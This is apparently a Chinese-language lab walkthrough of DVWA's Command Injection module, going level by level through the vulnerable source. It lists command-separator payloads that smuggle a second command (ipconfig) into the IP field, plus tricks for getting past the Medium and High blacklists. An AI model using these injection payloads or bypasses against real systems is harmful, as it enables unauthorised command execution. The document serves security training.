DVWA-Command Injection通关教程
文章目录
Low
打开靶场，发现这是一个可以输入ip，测试连通性的界面
源码分析
这里直接将target变量放入shell_exec（）执行ping命令，没有进行任何过滤，用户端可以直接拼接特定的命令，来执行并获取想要的信息。
漏洞利用
A; B //A不论正确与否都会执行B
A&B //A后台运行，A和B同时执行
A&&B //A执行成功后才会执行B
A|B //A执行的输出结果作为B命令的参数，A不论正确与否，都会执行B
A||B //A执行失败后才会执行B命令
可以执行的有：
127.0.0.1 & ipconfig
127.0.0.1 && ipconfig
127.0.0.1 | ipconfig
111 || ipconfig
Medium
源码分析
设置了黑名单过滤规则，但是只过滤了两种字符'&&' ';'
漏洞利用
只要不使用&&和;即可绕过
127.0.0.1 & ipconfig
127.0.0.1 | ipconfig
111 || ipconfig
High
源码分析
看上去，似乎敏感的字符都被过滤了，但是 | 明显后面有个空格，所以如果不使用空格的话依然可以绕过
漏洞利用
127.0.0.1 |ipconfig
Impossible
源码分析：
这里加入了Anti-CSRF token，同时对参数ip进行了严格的限制，只有诸如“数字.数字.数字.数字”的输入才会被接收执行
